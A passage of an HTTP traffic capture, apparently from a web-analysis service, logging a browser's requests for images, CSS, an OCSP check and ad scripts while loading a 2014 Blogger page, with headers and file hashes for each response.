X-XSS-Protection: 1; mode=block
Age: 3232
Cache-Control: public, max-age=86400, no-transform


--- Additional Info ---
Magic:  PNG image, 32 x 32, 8-bit/color RGBA, non-interlaced
Size:   939
Md5:    470100ca650a5d7acf753a787c827d7c
Sha1:   8d96829608453b8a688ee601ebe86c81aaadf8e5
Sha256: 692c5bb825484dde31ff0ac056219502edc119a8dfa647f37be308eaab7164f8
                                        
                                            GET /-NbS3DZVbHU0/To9NnX6odTI/AAAAAAAAEJY/SvIFghHPw-k/s1600/gplus.png HTTP/1.1 
Host: 3.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         172.217.22.161
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v1096"
Expires: Fri, 13 Oct 2017 22:46:19 GMT
Content-Disposition: inline;filename="gplus.png"
Vary: Origin
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Fri, 13 Oct 2017 13:32:03 GMT
Server: fife
Content-Length: 4368
X-XSS-Protection: 1; mode=block
Age: 2505
Cache-Control: public, max-age=86400, no-transform


--- Additional Info ---
Magic:  PNG image, 32 x 32, 8-bit/color RGBA, non-interlaced
Size:   4368
Md5:    b8039d81a23e27c24c990184e7e1ba05
Sha1:   733b3854a6243161911576885417c1bdc962f421
Sha256: 331423db072c35e64c9b01c847c19c7237024fa207e96854aea124bb449271e4
                                        
                                            GET /-bzutYp7uln0/To9Nn2z36jI/AAAAAAAAEJc/-_kgc1MkEB4/s1600/linkedin.png HTTP/1.1 
Host: 3.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         172.217.22.161
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v1097"
Expires: Fri, 13 Oct 2017 04:20:16 GMT
Content-Disposition: inline;filename="linkedin.png"
Vary: Origin
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Fri, 13 Oct 2017 13:35:12 GMT
Server: fife
Content-Length: 1020
X-XSS-Protection: 1; mode=block
Age: 2316
Cache-Control: public, max-age=86400, no-transform


--- Additional Info ---
Magic:  PNG image, 32 x 32, 8-bit/color RGBA, non-interlaced
Size:   1020
Md5:    15fb7a10fc3b6a00ff7968c890a978a7
Sha1:   6acabb6ec3287d8b958985bf0b03c2f88ac59482
Sha256: 76889393a0551c4990f885c892a16fd34e5d52f80a2d15010b130b5bba4e8fc9
                                        
                                            GET /-SLbNOLbWhs0/To9NoZ-cOHI/AAAAAAAAEJg/uRl444L2fyg/s1600/rss.png HTTP/1.1 
Host: 1.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         172.217.22.161
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v1098"
Expires: Sat, 14 Oct 2017 07:05:42 GMT
Content-Disposition: inline;filename="rss.png"
Vary: Origin
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Fri, 13 Oct 2017 13:26:56 GMT
Server: fife
Content-Length: 1501
X-XSS-Protection: 1; mode=block
Age: 2812
Cache-Control: public, max-age=86400, no-transform


--- Additional Info ---
Magic:  PNG image, 32 x 32, 8-bit/color RGBA, non-interlaced
Size:   1501
Md5:    c6f83a630b3c59c7004e04d291b2f1fc
Sha1:   d43658b51955db910e08695f31d6fa2110d235ff
Sha256: 4505c7f74121ea912679e7324443d1911a9a77c7125f88f6fcedba72d2f87577
                                        
                                            GET /-zyZkki5OJqE/To9Nmf1xb8I/AAAAAAAAEJQ/dlUOxjZ0H5U/s1600/email.png HTTP/1.1 
Host: 1.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         172.217.22.161
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v1094"
Expires: Sat, 14 Oct 2017 10:31:36 GMT
Content-Disposition: inline;filename="email.png"
Vary: Origin
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Fri, 13 Oct 2017 13:34:06 GMT
Server: fife
Content-Length: 1011
X-XSS-Protection: 1; mode=block
Age: 2382
Cache-Control: public, max-age=86400, no-transform


--- Additional Info ---
Magic:  PNG image, 32 x 32, 8-bit/color RGBA, non-interlaced
Size:   1011
Md5:    5146d32d4dc56aa6d06ea0fa52a9bc5f
Sha1:   3d35e4553f65cfde6ba4237fc57506596ec280e6
Sha256: 21a737ab47a9daf6142058b9818d793db985a3595cae5d5cee1b65a8fe2b52e9
                                        
                                            GET /-m6w8cHbq4tY/U3az0BktgwI/AAAAAAAAA20/_PXVIBmRrkA/s1600/fffffffffffffffffffffffffff.gif HTTP/1.1 
Host: 2.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         172.217.22.161
HTTP/1.1 200 OK
Content-Type: image/gif
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v36e"
Expires: Sat, 14 Oct 2017 14:13:48 GMT
Cache-Control: public, max-age=86400, no-transform
Content-Disposition: inline;filename="fffffffffffffffffffffffffff.gif"
Vary: Origin
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Fri, 13 Oct 2017 14:13:48 GMT
Server: fife
Content-Length: 45627
X-XSS-Protection: 1; mode=block


--- Additional Info ---
Magic:  GIF image data, version 89a, 300 x 250
Size:   45627
Md5:    f9288098a9a2084e99ac7a1d890ac081
Sha1:   5c370bd5c9dac18698d5382dac2ff877be5377ed
Sha256: e1c9150e15b542cdc57d542297926a9b880a5b53e53bc8c1868ad4b07050b9a8
                                        
                                            GET /-IA5VWNZtRWk/Uzmz2Q1zWiI/AAAAAAAAAuw/z-ztGy8Za_w/s72-c/219942792.jpg HTTP/1.1 
Host: 1.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         172.217.22.161
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v2ed"
Expires: Sat, 14 Oct 2017 14:13:48 GMT
Cache-Control: public, max-age=86400, no-transform
Content-Disposition: inline;filename="219942792.jpg"
Vary: Origin
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Fri, 13 Oct 2017 14:13:48 GMT
Server: fife
Content-Length: 3657
X-XSS-Protection: 1; mode=block


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   3657
Md5:    8e1eb7f3eb1ef644ee178c7ef5924dce
Sha1:   b81a7d62ad337a9ba2a8fe7e4c5fca86664097be
Sha256: 7a96a39cfec482c521d2ee163a2c1440e337b814f94b37bc309489bce443d2f4
                                        
                                            GET /-5JWY-Eq0dUk/U1yfmdLzWTI/AAAAAAAAA2E/VqCZ3us7klQ/s72-c/1379987049621.jpg HTTP/1.1 
Host: 1.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         172.217.22.161
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v362"
Expires: Sat, 14 Oct 2017 14:13:48 GMT
Cache-Control: public, max-age=86400, no-transform
Content-Disposition: inline;filename="1379987049621.jpg"
Vary: Origin
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Fri, 13 Oct 2017 14:13:48 GMT
Server: fife
Content-Length: 3895
X-XSS-Protection: 1; mode=block


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   3895
Md5:    d62b0549214286bcc299a543f7326e8f
Sha1:   048e1579dd26dc0634d5f64b5599d9e5939cfb68
Sha256: cac25eb70054c20df2a24be8d2c6c036fcb0e8d80c50fe531420a8e79af9263e
                                        
                                            POST /ocsp HTTP/1.1 
Host: clients1.google.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 107
Content-Type: application/ocsp-request
Cookie: NID=114=JhX258ZIrzJZhwlv2YNiZVgQKvsBt_XVI-cLcmPXRDj9pr_n3hlZs6SHpaqEQsWbrTmxPkvN7eJngFgFI5eTa80DnAXUXo2fjiOiilDB_gpz2EELU22K8-G7m_J0tHul

                                         
                                         172.217.22.174
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Fri, 13 Oct 2017 14:13:48 GMT
Expires: Tue, 17 Oct 2017 14:13:48 GMT
Cache-Control: public, max-age=345600
Server: ocsp_responder
Content-Length: 463
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN


--- Additional Info ---
Magic:  data
Size:   463
Md5:    4a36c3a0f62e5090abbee327b6c5a777
Sha1:   37a0315fbdf892194cc735b14d8f024a0b196de5
Sha256: d5012467277681fb71e08741691463135ac7d35f532f412c680cd7a031658b2a
                                        
                                            GET /dyn-css/authorization.css?targetBlogID=6930885793886820903&zx=5ea44665-693a-48fd-9fee-e73999d1e7e3 HTTP/1.1 
Host: www.blogger.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         216.58.211.137
HTTP/1.1 200 OK
Content-Type: text/css; charset=UTF-8
                                        
P3P: CP="This is not a P3P policy! See https://www.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."
Cache-Control: private, max-age=1800
Pragma: no-cache
Expires: Fri, 13 Oct 2017 14:13:48 GMT
Date: Fri, 13 Oct 2017 14:13:48 GMT
Last-Modified: Fri, 13 Oct 2017 14:13:48 GMT
Content-Encoding: gzip
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Alt-Svc: quic=":443"; ma=2592000; v="39,38,37,35"
Transfer-Encoding: chunked


--- Additional Info ---
Magic:  gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Size:   21
Md5:    b9afc501fc43fbea335a2dc5d43263a1
Sha1:   7290a2dd6afbf39ecfc35b52dfb32a38fc222994
Sha256: d6e425ca7840c0ab6f26f5fc2822a47e26b4a8bbd104468a9c185bc132b8662f
                                        
                                            GET /getad.php?49080;84936;336x280 HTTP/1.1 
Host: www.cpmfun.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         164.138.221.148
HTTP/1.1 200 OK
Content-Type: text/html
                                        
Server: nginx
Date: Fri, 13 Oct 2017 14:13:48 GMT
Transfer-Encoding: chunked
Connection: close
Cache-Control: no-cache, must-revalidate
Expires: Sat, 26 Jul 1997 05:00:00 GMT
Set-Cookie: cpmfuid=11d5ed770a8267c8e1dbee44038d052c; expires=Sat, 14-Oct-2017 14:13:48 GMT hscc3=no; expires=Sat, 14-Oct-2017 14:13:48 GMT rp001=1; expires=Sat, 14-Oct-2017 14:13:48 GMT


--- Additional Info ---
Magic:  ASCII text, with very long lines
Size:   1457
Md5:    02004c2935657fccb7bd5180d7566563
Sha1:   295395b363538e8994c4bc07dcc146b279a40035
Sha256: 9c96398c0ee3026ae2ce5586a2e10274eb0563cff9ed16ece199a3d997d996d1
                                        
                                            GET /getad.php?49080;84936;160x600 HTTP/1.1 
Host: www.cpmfun.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         164.138.221.148
HTTP/1.1 200 OK
Content-Type: text/html
                                        
Server: nginx
Date: Fri, 13 Oct 2017 14:13:48 GMT
Transfer-Encoding: chunked
Connection: close
Cache-Control: no-cache, must-revalidate
Expires: Sat, 26 Jul 1997 05:00:00 GMT
Set-Cookie: cpmfuid=140594a529fb484be3f9c09ce4f8e818; expires=Sat, 14-Oct-2017 14:13:48 GMT hscc3=no; expires=Sat, 14-Oct-2017 14:13:48 GMT rp001=1; expires=Sat, 14-Oct-2017 14:13:48 GMT


--- Additional Info ---
Magic:  ASCII text, with very long lines
Size:   1395
Md5:    720351f07cdf5534876d9fcdf0d44db9
Sha1:   c2c3512ff8b5e3763f81f428cc465654a318dfb3
Sha256: 04107ee477525355334f2bc74939b8e75f88a818edb2b2b139a3b5835e0ee703
                                        
                                            GET /getad.php?49080;84936;120x600 HTTP/1.1 
Host: www.cpmfun.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         164.138.221.148
HTTP/1.1 200 OK
Content-Type: text/html
                                        
Server: nginx
Date: Fri, 13 Oct 2017 14:13:48 GMT
Transfer-Encoding: chunked
Connection: close
Cache-Control: no-cache, must-revalidate
Expires: Sat, 26 Jul 1997 05:00:00 GMT
Set-Cookie: cpmfuid=9b0de210e4539bf54c4c307e2c5cb2f0; expires=Sat, 14-Oct-2017 14:13:48 GMT hscc3=no; expires=Sat, 14-Oct-2017 14:13:48 GMT rp001=1; expires=Sat, 14-Oct-2017 14:13:48 GMT


--- Additional Info ---
Magic:  ASCII text, with very long lines
Size:   1397
Md5:    00c9970151bac2962c4d394fca964f10
Sha1:   bb78aafedd46db441feb7a54753b05086d1d02e9
Sha256: 530ba60815db9466f7b4936332e71769e06ce8c6da2cc70508e29691aeb27442
                                        
                                            GET /2010/8/1283172337.jpg HTTP/1.1 
Host: files2.fatakat.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         54.230.128.72
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Content-Length: 21551
Connection: keep-alive
Date: Fri, 13 Oct 2017 14:13:49 GMT
Last-Modified: Wed, 11 May 2016 20:09:41 GMT
Etag: "4eddf311348dc244e0108e22bf64568c"
x-amz-meta-s3cmd-attrs: uid:0/gname:root/uname:root/gid:0/mode:33188/mtime:1462480468/atime:1462797147/md5:4eddf311348dc244e0108e22bf64568c/ctime:1462480468
Accept-Ranges: bytes
Server: AmazonS3
X-Cache: Miss from cloudfront
Via: 1.1 481aeb3116af8cfe075adc0004d928d7.cloudfront.net (CloudFront)
X-Amz-Cf-Id: JQI1-rJBEEkcPudfVSt2FOLGqEibXjBpIk17HSyvqdG9gjpclmFJLA==


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, comment: "CREATOR: gd-jpeg v1.0 (using IJ"
Size:   21551
Md5:    4eddf311348dc244e0108e22bf64568c
Sha1:   61d99c887051fa4b1d03159f9356ef1dbc395543
Sha256: cfa25f6f2fde193793f6d3f7d0be717836391c74a826ce4950a40693e1aa5514
                                        
                                            GET /2010/8/1283172250.jpg HTTP/1.1 
Host: files2.fatakat.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         54.230.128.72
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Content-Length: 35757
Connection: keep-alive
Date: Fri, 13 Oct 2017 14:13:49 GMT
Last-Modified: Wed, 11 May 2016 20:09:40 GMT
Etag: "62bf57e08b459b6d87ac23c9fcc8a383"
x-amz-meta-s3cmd-attrs: uid:0/gname:root/uname:root/gid:0/mode:33188/mtime:1462477564/atime:1462797147/md5:62bf57e08b459b6d87ac23c9fcc8a383/ctime:1462477564
Accept-Ranges: bytes
Server: AmazonS3
X-Cache: Miss from cloudfront
Via: 1.1 20de054829388032685e4b0a68ce82bc.cloudfront.net (CloudFront)
X-Amz-Cf-Id: C3-EWZsUQkjntLDbVB0x4XT4d1WJmfjp6VUJFG1ok-ZmmgUkI2uL8w==


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, comment: "CREATOR: gd-jpeg v1.0 (using IJ"
Size:   35757
Md5:    62bf57e08b459b6d87ac23c9fcc8a383
Sha1:   0332ed7a4f2fb0d2ed5ea12f5944bd259116c755
Sha256: 0775ba52d0a7f639333c18297042a8a53f1fdedfb9950f79b2300e4dece2873a
                                        
                                            GET /-bH7-OeMfv3Y/UcEtOhmzZjI/AAAAAAAAIyU/lDIm1aMEafE/s1600/main-bg.png HTTP/1.1 
Host: 2.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         172.217.22.161
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v2328"
Expires: Sat, 14 Oct 2017 14:13:48 GMT
Cache-Control: public, max-age=86400, no-transform
Content-Disposition: inline;filename="main-bg.png"
Vary: Origin
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Fri, 13 Oct 2017 14:13:48 GMT
Server: fife
Content-Length: 129
X-XSS-Protection: 1; mode=block


--- Additional Info ---
Magic:  gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Size:   4225
Md5:    819d1280cb0477f33775e9a2fad34cec
Sha1:   d5d37746dda08829c30860ccb87c8d6506b7f5b4
Sha256: 08932ee64d6b4b9398b21bf5b16894dc6f71133edc834a057498636d7ff7b9ee
                                        
                                            GET /2010/8/1283171820.jpg HTTP/1.1 
Host: files2.fatakat.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         54.230.128.72
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Content-Length: 21372
Connection: keep-alive
Date: Fri, 13 Oct 2017 14:13:49 GMT
Last-Modified: Wed, 11 May 2016 20:09:39 GMT
Etag: "27f9c6b169f2d608dabb41937b214420"
x-amz-meta-s3cmd-attrs: uid:0/gname:root/uname:root/gid:0/mode:33188/mtime:1462479138/atime:1462797147/md5:27f9c6b169f2d608dabb41937b214420/ctime:1462479138
Accept-Ranges: bytes
Server: AmazonS3
X-Cache: Miss from cloudfront
Via: 1.1 5affa2d425bacde72b305ef7aa441973.cloudfront.net (CloudFront)
X-Amz-Cf-Id: X6SxpaTdUtD3Y_l-IQWvsaCS4kigtEtuHpwrpl3rv9e5EQEx-KCMUw==


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, comment: "CREATOR: gd-jpeg v1.0 (using IJ"
Size:   21372
Md5:    27f9c6b169f2d608dabb41937b214420
Sha1:   1b085e66006170144ac8969e329040d1b548db22
Sha256: 40659633b4a17300d477b91f57dee93e2ca015c15c20b009e2efcac90c359876
                                        
                                            GET /2010/8/1283172607.jpg HTTP/1.1 
Host: files2.fatakat.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         54.230.128.72
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Content-Length: 28375
Connection: keep-alive
Date: Fri, 13 Oct 2017 14:13:49 GMT
Last-Modified: Wed, 11 May 2016 20:09:42 GMT
Etag: "6e58fdb75891aee1d23176d1d04a4458"
x-amz-meta-s3cmd-attrs: uid:0/gname:root/uname:root/gid:0/mode:33188/mtime:1462478423/atime:1462797147/md5:6e58fdb75891aee1d23176d1d04a4458/ctime:1462478423
Accept-Ranges: bytes
Server: AmazonS3
X-Cache: Miss from cloudfront
Via: 1.1 490ad4c895f20d28b1ba662692a2e249.cloudfront.net (CloudFront)
X-Amz-Cf-Id: BgHn3E-39qeKO-m2dnBzmmCFcfj_JJ1nCvPUnaeh0zt_fsxb0noG-Q==


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, comment: "CREATOR: gd-jpeg v1.0 (using IJ"
Size:   28375
Md5:    6e58fdb75891aee1d23176d1d04a4458
Sha1:   1c0d2f33797c86aa04631072230b24578f407d3e
Sha256: b72f3bbfab236bc772caea4c2bb4a23e935a705ca54e26d0242d8b43f2016de6
                                        
                                            GET /-_twXejDhpAs/UcEtPP0rH8I/AAAAAAAAIyk/cHXY2PT4q44/s1600/menu-secondary-bg.png HTTP/1.1 
Host: 4.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         172.217.22.161
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v232c"
Expires: Sat, 14 Oct 2017 14:13:48 GMT
Cache-Control: public, max-age=86400, no-transform
Content-Disposition: inline;filename="menu-secondary-bg.png"
Vary: Origin
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Fri, 13 Oct 2017 14:13:48 GMT
Server: fife
Content-Length: 1907
X-XSS-Protection: 1; mode=block


--- Additional Info ---
Magic:  PNG image, 984 x 57, 8-bit/color RGBA, non-interlaced
Size:   1907
Md5:    6a969a267bcba03f50ce2a49e57e494d
Sha1:   fda93aa52c4c1ac8747bdf17bb6b761c5f030837
Sha256: 28542f28b294f5d6c181294ddb49c85f3617ba70570e80b98d7fbd3d6e9ac7b9
                                        
                                            GET /2010/8/1283172517.jpg HTTP/1.1 
Host: files2.fatakat.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         54.230.128.72
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Content-Length: 29590
Connection: keep-alive
Date: Fri, 13 Oct 2017 14:13:49 GMT
Last-Modified: Wed, 11 May 2016 20:09:41 GMT
Etag: "a224d6c6c1a7851b1869392ef5a6b017"
x-amz-meta-s3cmd-attrs: uid:0/gname:root/uname:root/gid:0/mode:33188/mtime:1462480309/atime:1462797147/md5:a224d6c6c1a7851b1869392ef5a6b017/ctime:1462480309
Accept-Ranges: bytes
Server: AmazonS3
X-Cache: Miss from cloudfront
Via: 1.1 d71d3586d84d39c0f74dc30b6adf1eb9.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 6KaQQ0YdduZyfPehFUecZvrs4n5zSqBdKlfSFn5dKawq8V9fvJtXag==


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, comment: "CREATOR: gd-jpeg v1.0 (using IJ"
Size:   29590
Md5:    a224d6c6c1a7851b1869392ef5a6b017
Sha1:   c90210cf7711889ec18d4c44806b1e63fcd2ccbd
Sha256: 1f0673a3adda51352a92ed5877232238a9e3c838101dac956f591d1993aa7533
                                        
                                            GET /2010/8/1283172404.jpg HTTP/1.1 
Host: files2.fatakat.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         54.230.128.72
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Content-Length: 18150
Connection: keep-alive
Date: Fri, 13 Oct 2017 14:13:49 GMT
Last-Modified: Wed, 11 May 2016 20:09:41 GMT
Etag: "2b0e8bc98cd334925862449b0a849d68"
x-amz-meta-s3cmd-attrs: uid:0/gname:root/uname:root/gid:0/mode:33188/mtime:1462481061/atime:1462797147/md5:2b0e8bc98cd334925862449b0a849d68/ctime:1462481061
Accept-Ranges: bytes
Server: AmazonS3
